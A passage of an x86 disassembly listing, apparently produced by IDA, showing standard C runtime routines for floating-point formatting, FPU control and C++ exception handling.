		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_413070	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_413082(double,int)

sub_413082	proc near		; CODE XREF: sub_413105+82p
					; sub_413105+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_413082	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4130AB	proc near		; CODE XREF: sub_40EE62+31p
					; sub_40EFAB+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_4130C2
		cmp	[ebp+arg_0], edx
		jnz	short loc_4130D4
		push	1
		jmp	short loc_4130FE
; ---------------------------------------------------------------------------


loc_4130C2:				; CODE XREF: sub_4130AB+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_4130D4
		cmp	[ebp+arg_0], edx
		jnz	short loc_4130D4
		push	2
		jmp	short loc_4130FE
; ---------------------------------------------------------------------------


loc_4130D4:				; CODE XREF: sub_4130AB+11j
					; sub_4130AB+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_4130E7
		push	3
		jmp	short loc_4130FE
; ---------------------------------------------------------------------------


loc_4130E7:				; CODE XREF: sub_4130AB+36j
		cmp	cx, 7FF0h
		jnz	short loc_413101
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_4130FC
		cmp	[ebp+arg_0], edx
		jz	short loc_413101


loc_4130FC:				; CODE XREF: sub_4130AB+4Aj
		push	4


loc_4130FE:				; CODE XREF: sub_4130AB+15j
					; sub_4130AB+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_413101:				; CODE XREF: sub_4130AB+41j
					; sub_4130AB+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_4130AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_413105(double,int)

sub_413105	proc near		; CODE XREF: sub_412D59+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_41A440
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_413125
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_4131BB
; ---------------------------------------------------------------------------


loc_413125:				; CODE XREF: sub_413105+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_413194
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_41313D
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_413194


loc_41313D:				; CODE XREF: sub_413105+31j
		fld	[ebp+arg_0]
		fcomp	dbl_41A440
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_413155
		push	1
		pop	eax
		jmp	short loc_413157
; ---------------------------------------------------------------------------


loc_413155:				; CODE XREF: sub_413105+49j
		xor	eax, eax


loc_413157:				; CODE XREF: sub_413105+4Ej
					; sub_413105+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_413170
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_41316A
		or	dword ptr [ebp+arg_0+4], 1


loc_41316A:				; CODE XREF: sub_413105+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_413157
; ---------------------------------------------------------------------------


loc_413170:				; CODE XREF: sub_413105+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_41317E
		or	byte ptr [ebp+arg_0+7],	80h


loc_41317E:				; CODE XREF: sub_413105+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_413082
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_4131BB
; ---------------------------------------------------------------------------


loc_413194:				; CODE XREF: sub_413105+28j
					; sub_413105+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_413082
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_4131BB:				; CODE XREF: sub_413105+1Bj
					; sub_413105+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_413105	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4131C6	proc near		; CODE XREF: sub_412AA6+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4131C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4131D4	proc near		; CODE XREF: sub_412AA6+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4131D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4131E3	proc near		; CODE XREF: sub_40EE62+13p
					; sub_40EE62+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_4131E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413206	proc near		; CODE XREF: sub_412D59+1Dp
					; sub_412D59+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_41321D
		fld	tbyte_4241D0
		fistp	[ebp+arg_0]
		wait


loc_41321D:				; CODE XREF: sub_413206+Bj
		test	cl, 8
		jz	short loc_413232
		fstsw	ax
		fld	tbyte_4241D0
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_413232:				; CODE XREF: sub_413206+1Aj
		test	cl, 10h
		jz	short loc_413241
		fld	tbyte_4241DC
		fstp	[ebp+var_8]
		wait


loc_413241:				; CODE XREF: sub_413206+2Fj
		test	cl, 4
		jz	short loc_41324F
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_41324F:				; CODE XREF: sub_413206+3Ej
		test	cl, 20h
		jz	short locret_41325A
		fldpi
		fstp	[ebp+var_8]
		wait

locret_41325A:				; CODE XREF: sub_413206+4Cj
		leave
		retn
sub_413206	endp


; =============== S U B	R O U T	I N E =======================================



sub_41325C	proc near		; CODE XREF: sub_40EF31+Fp
		push	30000h
		push	10000h
		call	sub_416B4F
		pop	ecx
		pop	ecx
		retn
sub_41325C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41326E	proc near		; CODE XREF: sub_4132AC:loc_4132D0j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_41A450
		fstp	[ebp+var_8]
		fld	dbl_41A448
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_41A2D0
		fnstsw	ax
		sahf
		jbe	short loc_4132A8
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4132A8:				; CODE XREF: sub_41326E+33j
		xor	eax, eax
		leave
		retn
sub_41326E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4132AC	proc near		; CODE XREF: sub_40EF31+5p
		push	offset aKernel32 ; "KERNEL32"
		call	dword_41A0A4	; GetModuleHandleA
		test	eax, eax
		jz	short loc_4132D0
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	dword_41A0A0	; GetProcAddress
		test	eax, eax
		jz	short loc_4132D0
		push	0
		call	eax ; sub_40EF31
		retn
; ---------------------------------------------------------------------------


loc_4132D0:				; CODE XREF: sub_4132AC+Dj
					; sub_4132AC+1Dj
		jmp	sub_41326E
sub_4132AC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4132D5	proc near		; CODE XREF: sub_410DB0+3CBp
					; DATA XREF: sub_40EF49+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_410320
		cmp	eax, 65h
		pop	ecx
		jz	short loc_413315


loc_4132E9:				; CODE XREF: sub_4132D5+3Ej
		inc	esi
		cmp	dword_424430, 1
		jle	short loc_413302
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_414E86
		pop	ecx
		pop	ecx
		jmp	short loc_413311
; ---------------------------------------------------------------------------


loc_413302:				; CODE XREF: sub_4132D5+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_424224
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_413311:				; CODE XREF: sub_4132D5+2Bj
		test	eax, eax
		jnz	short loc_4132E9


loc_413315:				; CODE XREF: sub_4132D5+12j
		mov	cl, byte_424434
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_413320:				; CODE XREF: sub_4132D5+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_413320
		pop	esi
		retn
sub_4132D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41332F	proc near		; CODE XREF: sub_410DB0+3E2p
					; DATA XREF: sub_40EF49+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_424434
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41334B


loc_41333F:				; CODE XREF: sub_41332F+1Aj
		cmp	cl, dl
		jz	short loc_41334B
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_41333F


loc_41334B:				; CODE XREF: sub_41332F+Ej
					; sub_41332F+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_41337C


loc_413352:				; CODE XREF: sub_41332F+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_413365
		cmp	cl, 65h
		jz	short loc_413365
		cmp	cl, 45h
		jz	short loc_413365
		inc	eax
		jmp	short loc_413352
; ---------------------------------------------------------------------------


loc_413365:				; CODE XREF: sub_41332F+27j
					; sub_41332F+2Cj ...
		mov	ecx, eax


loc_413367:				; CODE XREF: sub_41332F+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_413367
		cmp	[eax], dl
		jnz	short loc_413372
		dec	eax


loc_413372:				; CODE XREF: sub_41332F+40j
					; sub_41332F+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_413372

locret_41337C:				; CODE XREF: sub_41332F+21j
		retn
sub_41332F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41337D	proc near		; DATA XREF: sub_40EF49+28o
					; .packed:off_4241F8o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_41A440
		fnstsw	ax
		sahf
		jb	short loc_413392
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_413392:				; CODE XREF: sub_41337D+Fj
		xor	eax, eax
		retn
sub_41337D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413395	proc near		; CODE XREF: sub_414309+430p
					; DATA XREF: sub_40EF49+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_4133BE
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_417012
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4133BE:				; CODE XREF: sub_413395+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41703F
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_413395	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4133D3	proc near		; CODE XREF: sub_413650+17p
					; sub_41369A+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4BA2EC, 0
		push	ebx
		push	esi
		jz	short loc_413408
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4BA2E8
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_4136EB
		pop	ecx
		pop	ecx
		jmp	short loc_413440
; ---------------------------------------------------------------------------


loc_413408:				; CODE XREF: sub_4133D3+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_4170E3
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_41706C
		add	esp, 14h


loc_413440:				; CODE XREF: sub_4133D3+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_41344C
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_41344C:				; CODE XREF: sub_4133D3+73j
		test	ebx, ebx
		jle	short loc_413464
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_424434
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_413464:				; CODE XREF: sub_4133D3+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4BA2EC, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_40ED20
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_41348B
		mov	byte ptr [ecx],	45h


loc_41348B:				; CODE XREF: sub_4133D3+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_4134D0
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_41349F
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_41349F:				; CODE XREF: sub_4133D3+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_4134B6
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_4134B6:				; CODE XREF: sub_4133D3+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_4134CD
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_4134CD:				; CODE XREF: sub_4133D3+E7j
		add	[ecx+1], bl


loc_4134D0:				; CODE XREF: sub_4133D3+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4133D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4134D7	proc near		; CODE XREF: sub_413677+13p
					; sub_41369A+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4BA2EC, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_413512
		mov	eax, dword_4BA2F0
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4BA2E8
		cmp	eax, ebx
		jnz	short loc_413542
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_413542
; ---------------------------------------------------------------------------


loc_413512:				; CODE XREF: sub_4134D7+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_4170E3
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_41706C
		add	esp, 14h


loc_413542:				; CODE XREF: sub_4134D7+22j
					; sub_4134D7+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_413550
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_413550:				; CODE XREF: sub_4134D7+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_413567
		push	1
		push	edi
		call	sub_4136EB
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_413569
; ---------------------------------------------------------------------------


loc_413567:				; CODE XREF: sub_4134D7+7Ej
		add	edi, eax


loc_413569:				; CODE XREF: sub_4134D7+8Ej
		test	ebx, ebx
		jle	short loc_4135AE
		push	1
		push	edi
		call	sub_4136EB
		mov	al, byte_424434
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_4135AE
		cmp	byte_4BA2EC, 0
		jz	short loc_413593
		neg	esi
		jmp	short loc_413599
; ---------------------------------------------------------------------------


loc_413593:				; CODE XREF: sub_4134D7+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_41359B


loc_413599:				; CODE XREF: sub_4134D7+BAj
		mov	ebx, esi


loc_41359B:				; CODE XREF: sub_4134D7+C0j
		push	ebx
		push	edi
		call	sub_4136EB
		push	ebx
		push	30h
		push	edi
		call	sub_40E800
		add	esp, 14h


loc_4135AE:				; CODE XREF: sub_4134D7+94j
					; sub_4134D7+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4134D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4135B5	proc near		; CODE XREF: sub_41369A+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_4170E3
		mov	dword_4BA2E8, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4BA2F0, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_41706C
		mov	eax, dword_4BA2E8
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4BA2F0, ecx
		setl	cl
		mov	byte_4BA2F4, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4BA2F0, eax
		jl	short loc_41363B
		cmp	eax, ebx
		jge	short loc_41363B
		test	cl, cl
		jz	short loc_41362C


loc_413622:				; CODE XREF: sub_4135B5+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_413622
		and	[esi-2], al


loc_41362C:				; CODE XREF: sub_4135B5+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_413677
		add	esp, 0Ch
		jmp	short loc_41364B
; ---------------------------------------------------------------------------


loc_41363B:				; CODE XREF: sub_4135B5+63j
					; sub_4135B5+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_413650
		add	esp, 10h


loc_41364B:				; CODE XREF: sub_4135B5+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4135B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_413650	proc near		; CODE XREF: sub_4135B5+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4BA2EC, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_4133D3
		and	byte_4BA2EC, 0
		add	esp, 10h
		retn
sub_413650	endp


; =============== S U B	R O U T	I N E =======================================



sub_413677	proc near		; CODE XREF: sub_4135B5+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4BA2EC, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4134D7
		and	byte_4BA2EC, 0
		add	esp, 0Ch
		retn
sub_413677	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41369A	proc near		; CODE XREF: sub_410DB0+3AAp
					; DATA XREF: sub_40EF49o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_4136D5
		cmp	[ebp+arg_8], 45h
		jz	short loc_4136D5
		cmp	[ebp+arg_8], 66h
		jnz	short loc_4136C2
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4134D7
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4136C2:				; CODE XREF: sub_41369A+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4135B5
		jmp	short loc_4136E6
; ---------------------------------------------------------------------------


loc_4136D5:				; CODE XREF: sub_41369A+7j
					; sub_41369A+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4133D3


loc_4136E6:				; CODE XREF: sub_41369A+39j
		add	esp, 10h
		pop	ebp
		retn
sub_41369A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4136EB	proc near		; CODE XREF: sub_4133D3+2Cp
					; sub_4134D7+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_41370E
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_40E730
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_40F480
		add	esp, 10h
		pop	esi


loc_41370E:				; CODE XREF: sub_4136EB+7j
		pop	edi
		retn
sub_4136EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413710	proc near		; CODE XREF: .packed:0040F12Cp
					; sub_40F195+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_413726
		call	sub_413FB2


loc_413726:				; CODE XREF: sub_413710+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_41374E
		cmp	dword ptr [esi+4], 0
		jz	short loc_4137A4
		cmp	[ebp+arg_14], 0
		jnz	short loc_4137A4
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_413A57
		add	esp, 10h
		jmp	short loc_4137A4
; ---------------------------------------------------------------------------


loc_41374E:				; CODE XREF: sub_413710+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_4137A4
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_413788
		cmp	[eax+14h], edi
		jbe	short loc_413788
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_413788
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_4137A7
; ---------------------------------------------------------------------------


loc_413788:				; CODE XREF: sub_413710+4Aj
					; sub_413710+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_4137AB
		add	esp, 20h


loc_4137A4:				; CODE XREF: sub_413710+23j
					; sub_413710+29j ...
		push	1
		pop	eax


loc_4137A7:				; CODE XREF: sub_413710+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_413710	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4137AB	proc near		; CODE XREF: sub_413710+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_4137CB
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_4137D0


loc_4137CB:				; CODE XREF: sub_4137AB+16j
		call	sub_413FB2


loc_4137D0:				; CODE XREF: sub_4137AB+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_413927
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_413844
		cmp	[esi+14h], edi
		jnz	short loc_413844
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_413844
		mov	esi, dword_4BA2F8
		test	esi, esi
		jz	loc_413922
		mov	eax, dword_4BA2FC
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_41726A
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413826
		call	sub_413FB2


loc_413826:				; CODE XREF: sub_4137AB+74j
		cmp	[esi], ebx
		jnz	loc_413927
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_413844
		cmp	[esi+14h], edi
		jnz	short loc_413844
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_413844
		call	sub_413FB2


loc_413844:				; CODE XREF: sub_4137AB+41j
					; sub_4137AB+46j ...
		cmp	[esi], ebx
		jnz	loc_413927
		cmp	dword ptr [esi+10h], 3
		jnz	loc_413927
		cmp	[esi+14h], edi
		jnz	loc_413927
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_40F2E3
		add	esp, 14h
		mov	ebx, eax


loc_41387B:				; CODE XREF: sub_4137AB+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_413912
